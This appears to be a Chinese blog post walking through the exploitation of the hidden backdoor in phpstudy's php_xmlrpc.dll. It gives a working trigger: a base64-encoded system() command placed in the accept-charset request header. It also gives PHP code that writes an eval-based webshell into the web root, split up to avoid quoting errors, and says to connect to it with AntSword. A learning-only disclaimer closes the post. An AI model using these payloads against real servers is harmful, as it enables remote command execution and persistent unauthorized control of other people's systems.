【漏洞复现】phpstudy隐藏后门漏洞的验证与利用

目录

1 背景

2影响版本

3 漏洞验证与利用

3.1验证

3.2利用:写入webshell


1 背景

phpstudy是国内第一款php后端开发调试集成软件,其将php、apache、mysql、phpmyadmin等集成在一起一次性安装,使用者无需在配置上面花太多时间。

2019年杭州警方在净网2019行动后发布了phpstudy存在隐藏后门的漏洞

2影响版本

phpstudy2016 

--php/php-5.2.17/ext/php_xmlrpc.dll

--php/php-5.4.45/ext/php_xmlrpc.dll

phpstudy2018

--PHPTutorial/php/php-5.2.17/ext/php_xmlrpc.dll

--PHPTutorial/php/php-5.4.45/ext/php_xmlrpc.dll

手工验证:

直接用笔记本打开涉事文件,搜索@eval

3 漏洞验证与利用

3.1验证

访问一个php网址,burpsuite抓包

修改请求头

Accept-Encoding: gzip,deflate
accept-charset:c3lzdGVtKCdpcGNvbmZpZycpOw==

c3lzdGVtKCdpcGNvbmZpZycpOw==利用语句system('ipconfig');的base64编码(注意有分号)

而且Accept-Encoding: gzip,deflate里逗号后的空格去掉才能利用成功

 3.2 利用:写入webshell

首先看一下当前所在文件目录,即system('dir')

熟悉phpstudy的人很容易知道,应该把webshell写入在PHPTutorial\WWW\下

我们尝试将<?php @eval($_GET['x']) ?>一次性写入

$myfile = fopen("PHPTutorial\WWW\webshell.php", "a") or die("Unable to open file!");
$txt1 = "<?php @eval($_POST['x']) ?>";
fwrite($myfile, $txt1);
fclose($myfile);

发现会失败的,且报双引号错误。但是双引号单独写入,却不会报错。(具体原因可能是虽然写入字符串,但是后门也会执行字符串的php语句??)

所以这个时候应该将webshell分开写入

经过多次尝试(挣扎),发现想要成功写入,必须将$ _ 分开写入,才不会报双引号的错,写入语句改为:

$myfile = fopen("PHPTutorial\WWW\webshell.php", "a") or die("Unable to open file!");
$txt1 = "<?php @eval($";
fwrite($myfile, $txt1);
$txt2 = "_POST['x']); ?>";
fwrite($myfile, $txt2);
fclose($myfile);

base64编码,得出payload,手工利用一下

成功上传!!

连接蚁剑就可以为所欲为了

 

注:仅作学习交流之用,请勿违反《网络安全法》《数据安全法》《关键信息基础设施保护条例》等相关法律条例,恶意利用漏洞带来的一切后果本人概不负责

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值